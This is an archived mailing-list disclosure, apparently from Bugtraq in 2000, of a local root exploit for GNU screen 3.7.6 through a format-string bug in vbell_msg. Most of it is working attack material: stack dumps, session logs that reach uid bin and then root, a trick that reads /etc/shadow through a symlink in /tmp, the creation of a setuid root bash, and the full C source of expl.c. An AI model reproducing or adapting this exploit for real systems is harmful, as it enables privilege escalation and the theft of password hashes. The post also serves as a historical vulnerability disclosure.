Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
Subject: Screen-3.7.6 local compromise
From: Paul Starzetz (paulSTARZETZ.DE)
Date: Wed Sep 06 2000 - 01:46:50 CDT

Hi ppl,

as mentioned in other postings the screen package is vulnerbale to the
classic format string attack. I attached a simple exploit and as far as
I could investigate on Suse 6.1 with screen 3.7.6:

the vulnerable function is Msg(int err, char *fmt, ...) which is invoked
with the value of the vbell_msg from .screenrc. Unfortunatelly the
format string is never copied onto stack, so I looked for the contents
of the stack before calling Msg(0, VisualBellString). It seems that the
'buf' variable in main() contains the current working directory from
which we called screen (get screen source, compile and replace Msg(0,
VisualBellString) with a small stack dumping function...). So all we
need is to mkdir a directory containing the write address, consume some
arguments from the stack and let screen overwrite the real_uid variable
and then create a new shell with our uid.

so lets look at the stack inside Msg(...) after calling screen from a
directory containing "ABCDEFGHIJ...":

4000bc74 1 8049e90 0 0 0 0 0 0 0 0 0 0 0 80995a8 0 0 bfffe4b8 ffffffff 0
bffff942 7ff 0 bffff942 0 0 0 0 0 0 0 ffffffff 0 0 0 0 ffffffff ffffffff
ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
0 0 301 0 0 2fb2 41c0 2 1f4 64 0 0 0 400 1000 2 39b572f1 0 39b5a058 0
39b5a058 0 0 0 75610700 6870406c 696e656f 752f3a78 682f7273 2f656d6f
6c756170 706d742f 63732f32 70786572 4342412f 47464544 4b4a4948 4f4e4d4c
53525150 57565554 5c5a5958 5d5c5c5b 605f5e5c 64636261 660d6665 6a696867
6e6d6c6b 7271706f

4342412f is it (prefixed by parent dir), the padding seems to be 3 for
my constelation...

so we try it now with padding set to 3, buffer offset 324 and uidaddr

gcc expl.c
a.out 0
<screen comes up> <enter> <ctrl-g> <status line shows strange chars like
<ctrl-a> <ctrl-c>
uid=500(paul) gid=100(users) groups=100(users)

hm...lets kill it. Try now:

a.out 64
shell-init: could not get current directory: getcwd: cannot access
parent direct
ories: Permission denied
bash: /home/paul/.bashrc: Permission denied
I have no name!phoenix:/usr/home/paul/tmp2/screxp > id
uid=255 gid=100(users) groups=100(users)

W00w, we hit the uid seems, 255 is the number of chars written by
vsnprintf. It looks like:

OFF 64 65 66 67
UID f4 01 00 00
%n ff 00 00 00

why not shift it by 1 to the left?

a.out 63
<same> after <ctrl-c>:
[screen caught signal 11.]
paulphoenix:/usr/home/paul/tmp2/screxp >

bad :-(, but we can still grab /etc/shadow (any idea to avoid this damn

a.out 63
<screen comes up> <enter> <ctrl-g> <staus line with strange output> but
try now:

paulphoenix:~/tmp2/screen-3.7.6 > ln -s /etc/shadow /tmp/screen-xchg

<ctrl-a ctrl-< > status says: Slurped 1142 characters into buffer,
very nice....

paulphoenix:~/tmp2/screen-3.7.6 > rm /tmp/screen-xchg
paulphoenix:~/tmp2/screen-3.7.6 > touch /tmp/screen-xchg

and again ctrl a ctrl > Copybuffer written to "/tmp/screen-xchg".

paulphoenix:~/tmp2/screen-3.7.6 > ls -l /tmp
total 10
-rw-r--r-- 1 paul users 1142 Sep 6 08:16 screen-xchg

paulphoenix:~/tmp2/screen-3.7.6 > cat /tmp/screen-xchg

Oh no it works.....

Note that you can get uid bin (1) if you replace the 'strcat(buf,
"%.0d");' with 'strcat(buf, "%.d");' because vsprintf writes then
256+ characters. With so modified version of expl.c:

paulphoenix:/usr/home/paul/tmp2/screxp > gcc expl.c
paulphoenix:/usr/home/paul/tmp2/screxp > a.out 63
<screen welcome> <enter> <ctrl-g> <ctrl-c>
shell-init: could not get current directory: getcwd: cannot access
parent direct
ories: Permission denied
bash: /home/paul/.bashrc: Permission denied
binphoenix:/usr/home/paul/tmp2/screxp > id
uid=1(bin) gid=100(users) groups=100(users)
binphoenix:/usr/home/paul/tmp2/screxp >

now create a suid bin shell.......

I have also a working but unstable root exploit and I wonder why it
works because it theoretically shouldn't work...

paulphoenix:/usr/home/paul/tmp2/screxp > gcc screxpl.c
paulphoenix:/usr/home/paul/tmp2/screxp > a.out 63

<screen ...> <ctrl-g> <ctrl-c>
ˇ\[ˇ\[ˇ\[ # idome/paul/tmp2/screxp/pppˇ\[ˇ\[ˇ\[ˇ\[ˇ\[ź
uid=0(root) gid=100(users) groups=100(users)
ˇ\[ˇ\[ˇ\[ # cp /bin/bash .2/screxp/pppˇ\[ˇ\[ˇ\[ˇ\[ˇ\[ź
ˇ\[ˇ\[ˇ\[ # chmod u+s bash2/screxp/pppˇ\[ˇ\[ˇ\[ˇ\[ˇ\[ź
ˇ\[ˇ\[ˇ\[ # ls -l/paul/tmp2/screxp/pppˇ\[ˇ\[ˇ\[ˇ\[ˇ\[ź
total 481
dr-xr--r-x 2 paul users 1024 Sep 6 08:33 .
drwxr-xr-x 18 paul users 12288 Sep 6 08:32 ..
-rwsr-xr-x 1 root users 475348 Sep 6 08:33 bash

(sorry the term got confused :-) So now we have a suid root bash....

regards, IhaQueR

Disclaimer: Any resemblance between the above views and those of my
employer, my terminal, or the view out my window are purely
coincidental.  Any resemblance between the above and my own views is
non-deterministic.  The question of the existence of views in the
absence of anyone to hold them is left as an exercise for the reader.
The question of the existence of the reader is left as an exercise for
the second god coefficient.  (A discussion of non-orthogonal,
non-integral polytheism is beyond the scope of this article.)

----------------------------------------- expl.c -----------------------------------------

/**************************************************************** * * * Screen 3.7.6 (and others) local exploit *

* by IhaQueRIRCnet * * * ****************************************************************/

#include <stdio.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <unistd.h> #include <string.h>

#define TMPBUFSIZE 4096

#define SCREENRC "/usr/home/paul/.screenrc" #define SCREEN "/usr/bin/screen"

#define AREP 1 #define BUFOFFSET 324 #define PADDING 3 #define WRITEADDR 0x807beb4

// some offsets grabbed from 3.7.6 // &real_uid, &real_gid, &eff_uid, &eff_gid own_uid // 0x807beb4 0x807ab1c 0x807aab0 0x807aab4 0x807bea4 // + 64 +64

int main(int argc, char** argv) { int i, l; FILE* fp; char buf[TMPBUFSIZE]; unsigned char adr[(AREP+2)*sizeof(unsigned)]; unsigned char* cp; unsigned a, *p;

if(argc != 2) { printf("USAGE %s offset\n", argv[0]); return 0; }

l = atoi(argv[1]); printf("creating magic string\n");

bzero(buf, TMPBUFSIZE);

/* consume stack arguments */ for(i=0; i<BUFOFFSET/4; i++) strcat(buf, "%.0d");

/* finally write to adress */ // for(i=0;i<9; i++) strcat(buf, "%n");

if(fp = fopen(SCREENRC, "w")) { fprintf(fp, "vbell on\n"); fprintf(fp, "vbell_msg '%s'\n", buf); fprintf(fp, "vbellwait 11111\n"); fclose(fp); } else { printf("ERROR: opening %s\n", SCREENRC); }

/* now create the magic dir... */ bzero(adr, (AREP+2)*sizeof(unsigned)); cp = adr; for(i=0; i<PADDING; i++) { *cp = 'p'; cp++; }

p = (unsigned*) cp;

a = WRITEADDR; a = a + l;

for(i=0; i<AREP; i++) { *p = a; // a += 4; p++; }

*p = 0;

/* make dir and call screen */ mkdir((char*)adr, 0x777); chdir((char*)adr); argv[1] = NULL; execv(SCREEN, argv); }